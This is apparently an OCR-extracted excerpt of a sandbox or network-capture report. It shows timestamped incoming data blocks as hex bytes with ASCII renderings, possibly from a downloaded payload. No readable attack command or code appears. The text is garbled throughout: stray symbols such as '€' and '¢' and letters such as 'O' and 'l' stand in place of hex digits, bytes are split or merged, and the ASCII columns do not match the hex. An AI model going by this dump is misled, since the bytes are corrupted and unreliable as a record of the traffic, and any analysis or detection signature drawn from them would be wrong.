2021-09-28 07:53:17 UTC 146 IN Data Raw: 2b 08 e7 5b b4 8e 7f cb €6 74 71 71 1f c2 7f 9c ff a0 5d 80 72 e3 01 d8 82 df da d3 1b e8 c4 43 ca a5 c9 47 81
12 48 9f 6b 21 3d 1d 7c 38 57 4a 3f 7d 39 8b a3 89 3¢ 55 a7 91 ee bc 45 30 b8 0f Ob 2d 4b 3d 42 19 9f e4 af b5 fc 0f 79 5a
62 7d d8 bb el 55 4c 6a bc 8b 5f 27 d2 Ob da 30 8c b1 8e 32 08 fa b8 80 fd 58 10 5e 9f cc 63 ce 34 ac 4c a3 da e5 a4 3f ac
0a 60 81 16 90 67 12 e0 f0 84 5a 1a 9c c1 fa 30 11 eb 36 bb ec ff 48 98 79 87 14 97 43 d8 20 6b 52 66 ae 36 ce df Of 8d cb
13 b7 8b e4 60 9f 5b db be d2 42 3c el 37 6e 50 61 79 e4 37 70 Oc 5a 19 ae 02 2e 78 71 5f c7 4e c4 8a a2 2a c5 1d 6f b9
65 16 07 ca 70 7a 4b Oc 42 64 7 3 9a 05 al 23 Oe 68 90 cb 2b e0 4d d7 37 b0 aa 3b 51 03 1d 22 13 7c a7 10 7b 21 87 4a
a3 d9 ad 1e 3a al 4d 88 46 89 41 1f eb 7f 3d
Data Ascii: +[tqq]rCGHk!=|8WJ?}9<UEO0-K=ByZb}UL|_'02X"c4L? gZ06HyC kRf6 [B<7nPay7pZ.xq_N*oepzKBd#h+M7;Q"|
{{I:MFA=

2021-09-28 07:53:17 UTC 150 IN Data Raw: €5 12 2b dc 76 6f 34 82 52 48 42 3c c0 ca f7 5b b3 2f 32 02 8a 3b 93 99 18 d8 Oa 7d 0a b0 67 bc 35 75 df a2 e2
62 a3 f5 30 5a 25 b9 2a 7b 41 23 50 42 53 03 3c 45 dd 5e 49 1f 15 3¢ 99 53 15 ca 07 7e 55 2f bc 48 al b7 de 71 16 c7 4c
7087 ea 08 d9 c2 c0 09 57 a3 d3 90 8¢ c7 de le f6 59 84 11 6¢ 3f 83 b0 b4 c1 03 da eb 67 d7 4a a6 80 5b a9 0f 90 6d a3
30 3b ea c5 d7 89 cb 5 ae 99 b4 5f a6 05 1a f6 c2 f1 fe ab ca 58 2¢ 89 9a 47 2b b9 00 42 12 11 90 47 af e0 30 ed 83 1c 31
67 20 b5 66 86 9c 36 71 be a6 94 0f a3 ab ef Oc 04 aa 5e e8 9a 1e dd e5 fa cd 14 ac 29 be 60 8c €9 cd 2c 63 69 ef 8b 78
28 ca 87 ea 34 d1 8d 39 fe 82 60 bb 9a 33 dd 17 Oc cf be 95 56 a3 fb 99 a6 75 69 7a 1a 4b 37 9a 77 b2 b5 39 92 de 84 46
52 3fbc 1e ab 4c ab 0a 41 bl d8 fe f1 b3 a8 45 d1
Data Ascii: +vo4RHB<[/2;}g5ub0Z%*{A#PBS<E"<S~U/HgLpWYI?gJ[mO0;_X,G+BG01g f6q")",cix(49 3VuizK7w9FR?LAE

2021-09-28 07:53:17 UTC 154 IN Data Raw: c2 3e 8 75 8c €0 be a5 98 66 cd Oe b1 al 97 15 7b 46 da b2 da c1 16 85 b7 f9 93 25 9e 93 98 c1 de 14 fc e3
dd 60 9b a0 81 cf 6f 61 a0 80 e2 4a 33 ae af bb ef 63 41 aa 81 bd 2e 90 54 Oc d9 96 8f c6 de 23 9a ca 7c a3 b8 3f 97 da
4b 59 10 46 80 0d ae fc bd 42 58 54 f6 67 bd ab 7a 11 6a e6 7d 1f 20 ab 6f ad b8 ba dd a7 61 8e 60 99 22 bc fb 4d 34 04
7d 84 7d f3 92 57 46 76 58 b6 20 d0 02 57 a5 f6 ea a0 b6 fd 2f 78 67 8a Oe df ce 34 86 4b b8 99 d5 72 01 19 36 fc b2 de
dd ce aa 9fed 80 08 75 74 68 e7 8b 43 81 4b ae cb 88 e3 €3 €2 96 ad b7 ba 38 61 fc 41 cf 9d f4 09 f3 14 1d 74 68 db cd
e19b 8242 63 b3 ab ad 49 c7 8b a6 37 17 63 c6 d4 69 e0 ca 8¢ 58 ¢3 10 58 63 2d 75 35 8b dd e7 64 6f ff 9d 16 89 db ab
44 dc fb 2e a2 05 df 5d 44 2c 7e 8c a4 ac 16 bf 09 ee 05
Data Ascii: >uf{F% 0aJ3cA.T#|?KYFBXTgzj} oa "M4}}WFvX W/xg4KréuthCK8aAthBcl7ciXXc-u5doD.]D,~

2021-09-28 07:53:17 UTC 158 IN Data Raw: b5 6f eb e6 8b bb 4a 55 d8 d2 85 83 fO de c6 bb 37 4c af 49 c8 2e 2f ca 9b 40 6e e8 1f cd 1f 4a 0f 43 52 78 44
60 19 eb 1a 92 2b 7a ab 06 c9 99 37 cc 23 ad 62 4a 65 de b9 43 el f0 f8 8a 0d 82 a9 c1 5a ff 1e 27 1d 02 68 8f 16 3c f4
ee ba 73 1e Ob 10 d8 6¢ 93 f0 be ¢7 f5 d0 50 70 5d 7b 8c fd a8 48 36 de 7a 28 3c 02 23 a3 f3 6a 23 ee 70 2f f7 34 8d 55 27
47 bf 02 d5 1a 47 24 5f 24 7a 06 3e 35 ff 82 89 5b 40 4d b6 5d cc 82 c0 e6 29 73 4e 59 1d bc 6¢ f4 a9 2b 6e 7c 17 92 9d
57 a7 44 89 a7 64 f8 44 c0 cf 64 1f 16 67 4e 8f 85 a2 56 61 fc a5 49 4f 10 36 9d 99 06 51 Oc 93 93 cf 9b 84 Oc be 48 84 6a
df 4f 27 bd 99 e4 Oe 65 2a 16 10 74 bc c¢8 61 40 91 80 de 3a da d2 c6 28 35 2f 00 2d 5a 9e 9a 1e ef b9 bc d3 69 6¢ 79 c5
2c b8 22 af fd 7e 88 5¢ d6 f1 d4 41 ff c1 e2 c6
Data Ascii: 0JU7LI./@nJCRxD +z7#bJeCZ'h<sIPp{H6z(<#j#p/AU'GG$_$z>5[@M])sNYI+n|WDdDdgNValO6QH|O'e*ta@:
(5/-Zily,"~\A

2021-09-28 07:53:17 UTC 162 IN Data Raw: fc 55 cf 26 6¢ d4 5¢ 29 b8 a2 67 1f dc a0 6¢ 9d dO 86 41 22 04 3e 2a 47 c9 de 73 87 e8 87 0Of 75 6b 1le fa 3d {7
31 9e 25 60 3d 6e 2c 69 ad 48 b6 47 10 63 21 dd 72 5e e4 8f cd 70 3c bf fa c5 20 46 3f 17 e4 23 8 f4 a2 51 5d bf €9 94 d6
2f fd e6 d7 c2 78 b5 86 bb 46 6e 9c 8d 6a 99 2e c3 fb 77 a7 e0 50 00 5f ab 46 03 f3 3a 1le 71 22 bf 22 a9 84 9e a9 ce ea 7¢
a4 fc 15 f3 28 b2 fa Ob a0 b2 e6 79 c9 f7 38 7f 20 35 31 cb 1d 58 Ob 11 fc fc f6 6a 8f 94 05 c5 c1 ee d6 95 5¢c 67 e2 61 51
56 4a 6d c6 cb a3 de Ob 22 40 f1 bf 9a 6e Oc 04 2a 65 b9 7a df 8b f3 9c 79 03 1a a5 3d 3d 57 62 d6 96 75 4f cd ba 30 36
3cc9 ba 6259 18 d7 e3 19 89 88 c3 3d 6f 6a 3c 22 €9 15 ¢5 f0 57 21 a0 69 13 b6 3a cf 70 df 10 02 35 ae 9d 24 81 a5 cc
52 cb d2 ab 22 d4 26 43 9a 03 15 49 94 9d a3
Data Ascii: U&I\)gIA">*Gsuk=1%"=n,iHGc!r"p< F?#Q]/xFnj.wP_F:q""|(y8 51Xj\gaQVJIm"@n*ezy==WbuO06<bY=0j
<"WI!i:p5$R"&Cl

2021-09-28 07:53:17 UTC 166 IN Data Raw: 92 dc fc 6a 6b 1e e8 13 e2 9c 5d de 1a f9 d3 03 a5 70 6d 98 d6 6a 56 c2 33 d3 85 85 3e 4c 5d b6 65 3c Oe Ob
a553 69 0b 5e 1d e7 49 d3 e7 aa 2c cd 84 21 bb d1 69 9c d5 9b a5 00 25 e8 91 bf 07 aa 7b cd 38 a9 Oc dd aa f7 84 95 e0
f4 be c1 04 ed 4e a9 11 a7 17 bb 26 16 1e cd 09 c2 f1 7d 5b fc 5a 05 11 b0 09 09 81 bd d9 26 43 db b1 ce fa c5 19 88 be
322d 01 c3 43 2e 08 55 34 52 9a f1 d2 9c 1f 69 95 16 cb 3f e3 e7 c1 0Of 7b 4e 01 33 b5 c6 9b 3d 22 34 32 34 31 37 02 bl
7adl1 84 bc 11 8e 2d 3b f7 7f 90 97 22 f8 ¢7 72 9f 67 d2 51 c7 dc 88 84 76 cf 69 3d 7e 99 af d5 ed Oc b0 9e bf d8 68 1b 30
0344 08 9d 7d ef Oe €6 09 60 99 e0 d1 ee ba 4b 2f 97 d9 c2 1e 1d be ff 92 21 24 1c 6d f1 e9 7e Oe ab c6 c8 cb 4b c8 1d
de 6f fb 8e 42 5b e6 ac 91 8e 79 ff 3f 6¢ c6 17 5d 75
Data Ascii: jk]pmjV3>L]e<Si",li%{8N&}[Z&C2-C.U4RI?{N3="42417z-;"rgQvi=~h0OD} K/!$m~KoB[y?I]u

2021-09-28 07:53:17 UTC 170 IN Data Raw: 3a df b6 dd 37 c1 5f fa 6e ad 35 ed 21 cf 96 19 37 Oc b2 2d 4d d5 94 f2 47 6a 25 a8 75 90 a9 db 22 6a 3c 18 2a
34 e9 8 41 c¢7 d1 be 93 81 ae b8 3b dO 6d 34 5a le 71 e0 a2 ef 96 b8 4c 8e b3 2f a0 f2 38 9c f2 2d ea b6 47 €9 9f 29 06
63 6f cd 6b 9d c6 0a ad Ob €9 04 ab d4 9c el c9 e2 42 dd 6¢ 98 9e 2c 15 64 e9 ab a6 c2 60 78 b7 a2 90 69 73 ec 09 9b 28
53 35 84 f6 99 b7 6f 50 d8 5f 88 28 db 90 08 3a 2a 56 4d Of 4e 60 94 cf c5 1c b9 3b dc 59 29 eb 3c 22 89 ef 68 2b 12 bb
6e 43 69 af 50 ce 80 2c ed 5e 95 €3 05 68 09 50 17 19 51 84 55 f1 cb 58 d1 97 75 13 0f €3 17 39 5 f3 Oc 4a €0 e4 ad f9
3a aa 0f 1e 85 d6 90 2c 02 ce 41 98 ae af f8 28 37 72 e2 4a 14 4e d6 ec 3c 09 88 70 42 ef bc 5e b6 55 ec e0 08 e4 46 00
11 .d9 63 a9 b5 88 c1 c2 bd 73 fd 27 bb 9f 35 e6 9a 94
Data Ascii: :7_n5!7-MGj%u"j<*4A;m4ZqL/8-G)cokBl,d xis(S50P_(:*VMN™;Y)<"h+nCiP,*"hPQUXu9J:,A(7rIN<pB UFcs'5

2021-09-28 07:53:17 UTC 174 IN Data Raw: ¢4 12 4e 97 26 3a d1 87 cf 00 7c 9f 20 6e 91 53 a9 70 d0 26 b5 37 6b dc 7 ¢5 09 e8 el ea 17 Oe 76 f9 e5 d6
9c 25 c1 fb e2 21 fe 03 31 30 81 cc 55 02 14 66 4a 5d 38 d3 c1 17 17 16 50 e5 59 d0 dd 01 f8 c2 78 6a f0 79 d0 52 c3 43
44 a5 1b 23 2e af 01 a2 88 5b ab 37 66 69 fe f4 96 90 ee 87 3d 8f 37 32 ec 21 51 42 15 5d ec ff 7a Ob 5¢ 5¢ 90 cc 19 7f Oc
46 09 46 77 0a 7d €9 96 1d 5a a6 ¢3 79 80 d7 46 bb 3c 0a e7 5a 51 f3 ee 37 b3 7e 32 3a 1c d6 7b Oa 74 c6 6a 43 f4 18 d7
aa 94 ca 77 ec b2 Oe 1b 1e 1f f3 87 cb 3c 06 58 d8 c6 7 f8 82 1c f7 68 cf 62 3b ad b2 12 90 d3 9e 15 Of f3 b7 ef bf 8f 64 2¢
f2 3f 4b 3e 22 d7 e5 49 el bd 41 8c 60 6¢ 31 30 al ee 1f b4 e4 c3 97 32 ae 87 b1 3b d8 d3 96 eb c4 53 36 81 7d 92 9c 69
c0 0a 96 20 a8 1c c0 92 b5 49 b0 12 fc 5b Oc e2
Data Ascii: N&:| nSp&7kv%!10UfJ]8PYxjyRCD#.[7fi=72!QB]z\\FFW}ZyF<ZQ7~2:{tjCw<Xhb;d) ?K>"IA"1102;S6}i I[

2021-09-28 07:53:17 UTC 178 IN Data Raw: 57 a8 96 cd 54 37 db 58 8b f8 b5 77 d0 Oe 03 5¢ cb 85 27 7c 4e b9 06 74 b5 ee 5d 97 9a f4 8¢ ca f8 55 2d 98
ce 7e 10 e5 e0 0 fc 3d 54 3a db 6a fa 3f 97 59 13 75 32 b7 94 df 7e df 6e 97 de 41 5a 40 13 ca 14 50 3b af f2 36 04 e4 92
84 78 01 6¢ 8b 65 93 88 bd 3a fc df 6a 8b fc 86 00 f3 dd 22 9d f7 6a fd dc 25 51 7a 12 ca 81 bb 86 3b cd 87 da 92 9a 52
18 f0 3b Of 7d da 86 €8 8a 12 9f c2 31 4f 36 b2 21 37 8b 23 9b 3b ¢2 52 c1 7d 06 31 8d 8e e7 d1 03 8¢ 87 9f 63 5d 9c 9d
b1 47 c9 4b d9 7a fe dO ae 55 b8 25 24 18 cc 40 c5 37 3b b3 18 41 54 42 09 24 13 3a 61 1b 77 7b 6e el b8 b7 c8 30 99 bc
00 98 79 a7 4a 05 09 26 ae 09 a8 72 b8 62 04 ec c1 bc 85 a8 5d 9d ce Oc de d4 bd 29 4a fd c8 90 98 17 40 71 €0 f0 14 03
f3 74 24 35 89 dc 8d Oa cb aa 8e a2 ed c2 7c a4 92 1b
Data Ascii: WT7XW\'[NtJU-~=T:j?Yu2~nAZ@P;6xle:j"[%Qz;R;}106!7#;R}1c]GKzU%$@7;ATB$:aw{n0yJ&rb]) J@qt$5|

2021-09-28 07:53:17 UTC 182 IN Data Raw: d4 c3 el fe f1 06 6d 86 17 6¢ ad 5b 80 Oe 88 c2 fd df d4 aa 8b 43 9b f4 9f 14 05 cf c6 64 70 b5 14 70 9a 7d 06
51 42 67 ff e2 8d 8d 78 ff 41 b0 a3 ce 08 Ob de c7 b6 78 25 b5 03 18 ¢5 6f 40 d1 84 f4 8a 5d 68 99 fd 26 25 29 e9 85 d9 dd
3c 29 c7 6e ba 47 de fe 62 c2 1f a2 b0 48 8c 64 96 dc 51 e8 ac 06 e0 1e 42 29 06 7f 8d 76 cb 9c b0 81 50 58 3d 36 ea db
35 64 49 1a e3 94 da 6b e0 70 5f 05 bd 5d f6 83 68 f3 eb e4 52 61 85 bf 73 c2 c0 f9 f2 ad 60 22 d4 21 73 65 45 bf 8f b9 76
b2 79 dd c9 46 07 39 db 1a ab 98 fO ec c1 75 55 26 48 a5 47 35 cd c0 d0 8d 4b 85 55 4b 55 7 bb 90 e7 a3 5a ce 9a 35 05
33 cf 3b 20 9b 92 55 db b9 0f fc fO a8 5f 7 ec de 6e aa e7 ea 63 ed 63 2a 57 52 f9 b9 36 69 Oe 09 9c¢ ad b6 99 04 01 0d
d6 1a 31 ef 03 e9 8e bf 30 21 b8 ac 95 02 33 81
Data Ascii: mI[Cdpp}QBgxAx%0@]h&%)<)nGbHdQB)vPX=65dIkp_]hRas"IseEvyFOUU&HG5KUKUZ53; U_ncc*WR6i10!3
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2021-09-28 07:53:17 UTC 186 IN Data Raw: f6 3b 1b 1d a9 0f 7c 73 al 45 67 b7 93 5d 85 cc 50 7f 25 a9 Of 78 ab 7b aa 3f fd 74 04 e8 bf 86 d5 e2 08 ef fc
b6 4d e6 fO ac 69 85 5d 2e cb c5 f4 4b e2 4f 9d a3 94 e6 77 €9 55 ca 54 e6 7f 3f 2 95 6f 89 7a 7a 5a 32 f8 76 a7 10 6b cd
bl a3 b5 f2 7e 97 8a €9 b6 73 27 57 b2 34 27 ba 12 85 35 90 41 c3 50 85 a4 4b 6f 5a 4a 04 c2 6e b5 e8 fc 79 6 b3 10 c9
1d 16 5e a8 71 b4 47 3d 95 38 ce 15 e2 2b 4f d9 66 65 ef ab 83 90 49 6f 92 87 1e 7f 9c 5f 63 25 dc 27 7a 03 03 89 Oc 2a
6d el 4d 87 ba f1 9d 23 93 43 b4 ee 71 39 cc 0b 85 07 1e 3b 1a 06 5a 68 41 b8 9d 53 7a 68 09 5e dd ef 05 f9 f9 Of b8 d8
16 d6 al d6 c9 98 05 df 24 92 el 7c a6 39 9b ae 2b 76 5e 01 44 4a 5b a6 c4 5¢c 43 d9 10 2e al 8e 3b 28 cb aa ad f1 d7 ec
cc 4a e4 5¢c 4a 6d 1d a7 2d b5 cd bl 24 a8 44 82 86
Data Ascii: ;|]SEg]P%x{?tMi]. KOwWUT?0zzZ2vk~s'W4'5APKoZJny*qG=8+0Ofelo_c%'z*mM#Cq9;ZhASzh"$|9+v DJ[\C.;
(J\Im-$D

2021-09-28 07:53:17 UTC 190 IN Data Raw: 2e 5a 4f 45 f7 39 b9 3c 99 81 69 e4 36 ba a2 f2 e0 61 b5 73 35 14 9d 2a d6 8d 08 21 1d c7 dd df 92 b3 6f 31 d6

7958 34 c6 18 3d e4 c0 c2 48 9a 2f 2d ef 1b ee 12 35 f9 d0 fO 7a 6d 6d eb ca bb 4c 4c 34 2a 3e 5b 7c e5 66 d8 cc 08 2a
65 1f ab 1b e5 7f 0a 33 4c 2c 6a 05 7b cd 0d e0 c5 8 68 69 6e 70 85 62 d7 3a a0 ac d4 19 f1 81 ef 70 82 85 23 a4 ch ce
88 c8 2f da 01 b8 1a bf 13 b9 8f 5d 31 27 07 96 b2 00 94 73 63 a4 19 15 8a da 28 cf 9e d1 e2 6b cb a2 ee 4e 7d 7e 26 03
ca 10 84 58 69 55 93 64 54 3f 66 74 50 ab 3c 5a 3a d0 ¢3 33 5d fb d4 f9 b4 b5 79 8a 1d cf b3 c4 bb 3e d5 11 58 6b f6 31
Of bd ef b3 7b 48 14 04 5b 04 9d 67 99 d3 a5 9c 46 a5 d9 9d 1f 1f 24 60 80 5¢ 30 44 a6 79 35 f9 70 aa 52 20 4b 5a 32 d5
bb {7 86 7e 88 ea 4e 07 51 dO 7d 6a 95 1a 8d 4d ca 5a

Data Ascii: .ZOE9<i6as5*l01yX4=H/-5zmmLL4*>[|f*e3L,j{hinpb:p#/]1'sc(kN}~&XiUdT?ftP<Z:3]y>Xk1{H[gF$ \ODy5pR KZ2
~NQ}MZ

2021-09-28 07:53:18 UTC 194 IN Data Raw: 7d 13 6f 05 a6 42 46 13 3b 24 9f b6 6d eb 85 4e 7 06 b3 Oe f3 d7 ca d8 32 f8 b7 dd 6¢ 10 d7 39 6a 14 38 7a 15
Oe 03 Of 1e bf Oe fa 70 84 40 fc 7d 23 67 b7 d0 df fe ac 79 9f 88 91 da b7 e3 c0 e4 87 3e 65 c9 7e 73 83 ae 71 a6 22 c9 61
4a 7d 1f eb 47 90 eb b3 Oc 43 67 b9 ea b3 b2 5d 18 71 91 e5 6e ac 2e e0 cb 0f b7 bb 8b 3b 65 43 64 8c 1b 55 41 e5 5f 1e
51 b3 64 55 db 04 80 57 fd 96 47 e9 fe €9 3f ab 5a 6b 96 ab 82 2d 1b c2 62 ff 4d f1 dc 75 b3 6a 51 b3 82 24 47 b3 8c 05
c6 7d 91 91 Ob 7d 90 b9 4c 9c fb 69 9a 92 al d0 6¢ cf Oe f9 86 dc a0 a8 39 42 45 24 a9 f0 56 fa 15 6¢ 8¢ 9c 13 48 dc 19 bc
79 fe b7 0a e0 6b c3 8b b0 c1 84 4f 11 36 fb a9 82 01 d2 94 24 76 bb b9 44 ff fd 8f 49 b6 58 6d 17 28 00 68 70 ea 11 ae 39
10 6d 7c 07 cb b9 20 cf fc f4 cb e5 36 04 99
Data Ascii: }oBF;$mN2I9j8zp@}#gy>e~sq"aJ}GCg]qn.;e CAUA_QdUWG?Zk-bMujQ$G}ILII9BE$VIHYkO6$VDIXm(hpOm| 6

2021-09-28 07:53:18 UTC 198 IN Data Raw: ¢9 d7 51 6¢ 42 cc d1 d2 5 f8 bf 58 b2 0f 75 ff f0 f0 c1 00 ad 15 {7 82 a2 29 fd fe 6f 8a 05 84 c3 62 15 40 75 le
f8 72 c9 b4 a9 d8 5¢c 49 5b 79 ae 86 7b ad fd cf cc c7 8d 4e 17 b0 3a a4 3c 86 74 5e ce 92 7e e2 b9 31 7 b9 b0 fd 65 21
2201 8d 6¢ 82 98 cb Oc a7 37 19 89 a9 84 95 48 72 26 49 f7 01 42 d7 01 b7 d7 60 fe 26 b1l 29 b9 3e a3 18 ae 48 d5 53 de
€0 9b 07 74 fd Ob d8 b5 02 78 2a 2b 82 06 cc 0a 67 9f f4 3f 12 49 37 4b e5 66 38 f6 62 c0 c3 22 18 ¢3 3b 03 59 63 Oe be
50 25 1b ac 43 ed 70 32 02 Of 8e d7 08 a6 01 49 b6 5c 63 42 f8 f7 92 9a a0 3a cb 60 bb fa b3 bd 03 51 51 fe 5a f3 a3 e2 d
96 c6 21 7a 86 a0 4a 7c e6 23 ca 3f 3b 2a 28 a7 cd 8f cc 19 4b 5b 03 bf 3d 2b aa f4 28 fc 00 84 b5 81 10 4b 62 c6 fb 8d 47
03 e6 83 dd ae 45 d4 85 cf b5 7f 3d 99 dc c7
Data Ascii: QIBXu)ob@un\I[y{N:<t*~1e!"|7Hr&IB &)>HStx*+g?I7Kf8b";YcP%Cp2I\cB:" QQZ!zJ|#?;*(K[=+(KbGE=

2021-09-28 07:53:18 UTC 202 IN Data Raw: 79 68 f5 6f 20 e9 f8 d5 d6 34 fb e5 29 92 eb 07 5b ed e5 8b 03 bc 95 87 a3 8c ce 0a 07 fa 65 el 08 a6 3 f5 bl
00 5f 2a 9e 3a 54 71 6b b7 62 e2 d1 79 ae d7 4c cf fb d6 8f 3a c8 40 4c ec 2c 5d 49 69 be 5e 12 cd 62 fb d8 ed cf 4d 76 4f
69 55 eb 10 3c 11 50 3c 4c 17 c6 e4 f9 59 28 el €9 67 de 6d 28 7a be b6 24 e0 69 de 60 5¢ fa db 70 42 a6 dd 24 92 7f bf
6e d7 c9 04 8c 7e 6f a6 c0 49 22 06 2b 3d Oc 42 65 ¢3 25 89 10 47 3e 98 aa 4d 7b ed 23 €8 9a 6b ef 83 3b f8 21 06 ee 84
8c f8 b3 fc 21 a2 a5 b9 ea bf af 77 e4 bb 6b 65 a5 a2 cc 93 a9 b0 52 e6 14 5f cf b2 78 8d 29 fO d5 b8 4b 59 6d 63 19 15 45
ac 1b 85 16 a9 7e 44 c4 3a 3b 9e 14 ba b2 96 {7 5b e8 8c 9a fe 34 ac 04 a2 58 1e a4 79 d6 38 99 3d 5a c7 1c 23 68 42 be
c4 2f d7 5a 11 60 b4 f7 a6 04 82 1d eb 44 5e 78
Data Ascii: yho 4)[e_*:TgkbyL:@L,]li"bMvOiIU<P<LY(gm(z$i'\pB$n~ol"+=Be%G>M{#k;!'wkeR_x)KYmCcE~D:;[4Xy8
=Z#hB/Z D"x

2021-09-28 07:53:18 UTC 206 IN Data Raw: bc 32 cc ff fc e9 ef 8d 42 28 62 d1 bb 8e 05 2a 49 27 60 2a fO c2 3b 79 ¢7 b4 51 fa d0 39 35 ed 39 ca 7a dc da
Ob cb 84 2d bf ed f3 4e d8 9a bb f9 8a 86 db 67 5e b5 7 69 27 41 84 8c a5 5f 5e 76 b4 d8 51 4d a3 12 3f ec 6e ce 11 b4 6d
2b 6f 92 fa 44 88 05 cd 07 a3 27 a7 24 26 7b ea c2 88 98 7d ff 03 3b 72 cc 14 67 be 3b d4 8c 25 2b 08 19 52 2a fa 50 23
€6 3a 47 7f 82 2d e6 76 cb 05 33 8d d1 a3 08 33 1c 5f d2 62 de 69 32 01 ab 6e c5 8d ac 74 21 15 18 81 8c 88 6b 7e 48 1d
41 60 cf 9f 2c f6 64 45 68 48 6e f6 a8 4b 3b b3 ad 9b 8c Oc 1c c9 a3 37 64 f1 2c al 5f ff 10 44 5e 6 34 ef 7e ca e4 27 ec 7C
7b d9 86 ff 22 74 d6 3b 46 9c 35 dc e2 c1 c6 58 e3 19 7c dd 09 1d 47 41 c2 49 78 ef 39 44 4a cf 35 b8 81 90 e7 08 2f 07
20 53 2f 24 54 df 1a 5f 5f 5a ¢5 98 6a 96 c5
Data Ascii: 2B(b*I"*;yQ959z-Ng"N'A_vQM?nm+0D'$&{};rg;%+R*P#:G-v33_bi2nt!k~HA",dEhHNK;7d,_D"~'p{"t;F5X|GAIX9
DJ5/ SI$T__Zj

2021-09-28 07:53:18 UTC 210 IN Data Raw: e6 bf 86 82 21 fc bf 61 41 97 99 81 eb 85 97 b4 f1 b6 1d Ob dc 9e 4a 3e 38 86 8f cd 4f 41 41 91 a6 87 ac 9a c2
2f f0 9a ae a2 df 71 04 3c 9f 3d 7f ae e6 95 ea 5f 9c 6¢ 28 85 9c €6 7e c6 bf b8 f4 67 db 1d 4e 68 4a 60 24 e9 43 ba 0f 35
29 a2 73 7c 4d f0 e6 9e 09 46 62 53 f3 d6 5c fa f1 35 3a 6a 1c 43 b9 Oc 6f Oc 7b c4 8c d9 4e fO bf fd df 9e 7f 21 75 c5 f3 03
b6 84 b9 be bc d9 Oc a2 8e f1 75 3a 2d db 21 f5 80 64 4f 3a 36 f5 b3 c7 7e f6 f0 al 36 47 c3 €6 71 4b 3c ac 1c el e3 b5 cf
0d d4 26 1c 19 92 00 b9 22 30 87 d9 2f ed d0 64 e6 d1 1c 4f al 53 06 d9 ec b0 b6 9d 7e b5 c2 6f 21 09 6a 63 ff af bd 7b
d39c 98 70 cd db 49 d4 29 b6 2a 71 ab 24 4d 47 ed df 32 7a al a8 86 49 3e 2b c4 ec 1d 92 a3 88 01 59 80 b9 a7 85 64
€7 d8 99 e4 97 4a 8e 03 ef f6 fa 3a 50 ab 85
Data Ascii: !aAJ>80AA/q<=_I(~gNhJ $C5)s|MFbS\5:jCo{N!uu:-!d0:6~6GqK<&"0/dOS~o!jc{pl)*q$MG2zI>+YdJ:P

2021-09-28 07:53:18 UTC 214 IN Data Raw: ed 70 a5 4a 81 10 ca 02 e6 bb 7e ff 76 76 e3 fe 17 f8 7f 1f 46 bc a4 c5 c9 d2 67 cb d7 25 f1 d7 a5 28 3b f2 67 fc
70 4a c9 2b 07 2a 8f 45 00 41 da 65 d8 e7 bb ee db 2e fc b4 fa 1b 7f 03 ba 13 93 be 22 2d bd 65 d2 52 1c 76 b2 b9 38 6e
€9 e6 ea 4f 57 08 b4 9e a0 3d f1 33 81 cc 54 91 de 7 35 9d 87 b7 bb b8 6f 4b 35 f2 ec 62 2b 58 fc c3 9f 5e 49 6b 17 cf da
¢4 3d 17 97 7a e4 86 2e 7d ba be 75 f4 c1 aa 48 24 c7 0a 82 89 7d dc 08 2b a2 54 f5 99 Oc 5a 64 Ob 71 69 1b e0 35 1c €5
46 cb a4 9e 01 5b 96 1f 7e 10 2c 62 06 7a 8a 9f 8a 9e 93 2¢ 70 7c¢ 03 c2 33 85 90 39 8f 17 73 42 5¢ 9d d7 bb 03 ee 0d 29
0f 92 c6 36 ae 45 cc 29 04 3e d3 85 f3 e3 3 05 26 f6 43 32 5e eb 7a 92 32 50 8¢ e5 85 d3 8d 99 87 bd bb e5 00 3b d3 16
d9 11 97 c5 38 ce a5 56 de 01 b1 51 39 56 89 01
Data Ascii: pJ~wFg%(;gpJ+*EAe."-eRv8nOW=3T50K5b+X"k=z.JuH$}+TZdqi5F[~,bz,p|39sB\)6E)>&C2"z2P;8VQ9V

2021-09-28 07:53:18 UTC 218 IN Data Raw: 9d 86 1c 26 66 52 Oa c7 94 9e 42 4e 1b 9e 69 37 22 66 c0 68 23 73 97 ce 1f 7b 60 aa 6b 8e 4e Oe ce d8 93 97
laa0 fc 2d 32 84 78 da d4 b4 55 95 ef 87 Oc dc 7d 13 16 ff fc 1a e4 db 92 69 82 f4 20 7d b2 70 15 b2 e7 7b c6 3¢ 25 23
84 bf cO 5a be 68 91 7e 6f 93 e2 60 87 Oe 98 f6 13 dd 40 dc 4d 30 82 40 50 c9 40 18 af 20 d3 98 06 a7 e6 3b 1f c4 fe a2 2f
3537 laal 01 e9 e9 b3 cc 4d bl ab a3 d2 ee 76 0f 98 {6 aa 32 52 a3 e7 33 ae b8 fb 91 92 4e 80 6b 5¢ d1 8b 30 95 ea 7a
0d d8 43 02 c3 4c 57 Oe 92 46 cd 07 cd 58 b2 4e 46 41 f1 8a 74 d4 9c d4 1d 8b 12 67 bb 16 97 38 2¢ 05 39 03 7c 95 5e cl1
66 1a 20 92 c2 58 6b 58 8a 9d 97 6d 39 47 6f aa ff 3c 44 76 2e d2 39 6b 46 7e bl 75 ec 04 07 75 95 a9 c5 2a 9a 90 6e 9c
a7 bc 77 10 88 2b be 3d ac 2d fd 56 f8 Oc 26 44 91 be
Data Ascii: & RBNi7"fh#s{ "kN-2xU}i }p{<%#Zh~0"@MO@P@ ;/57Mv2R3Nk\0zCLWFXNFAtg8,9|"f XkXm9Go<Dv.9kF~u
u*nw+=-V&D
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2021-09-28 07:53:18 UTC 222 IN Data Raw: da 67 46 88 55 dd f8 6a 84 96 6e 53 71 90 eb 55 84 b3 6a 25 57 cd 85 9a 11 25 2c 5f 54 e6 65 33 01 5e 93 01
bf 70 69 bc 90 c1 93 af 53 bc a2 88 eb 68 4d 2b 14 91 36 f4 7f 23 5e al fb 5a 59 c1 5a e2 6f fO 42 ba 55 20 ee 26 63 77 f3
2c f1 28 de ba bf 40 ba de 0d a2 d2 60 29 32 8a 1a 78 90 68 d4 ef 68 f0 71 f9 47 4d db b5 d9 1d da 98 6e 29 7a 88 e6 8b
c4 be 13 3c c8 6f ef aa 11 ¢7 7b c6 8d 53 e8 85 db b8 c4 7b 1b 5b a0 28 7b 97 4b 51 26 14 dd 3b c7 b8 d4 ab 13 af 13 03
90 52 af e6 6a d4 bc 0d el f7 87 63 e5 c7 cf 96 88 Ob b9 29 9d Ob 55 91 5d a2 3d ed 31 1a 7a 88 8c 5c 6a dd 7b 87 27 02
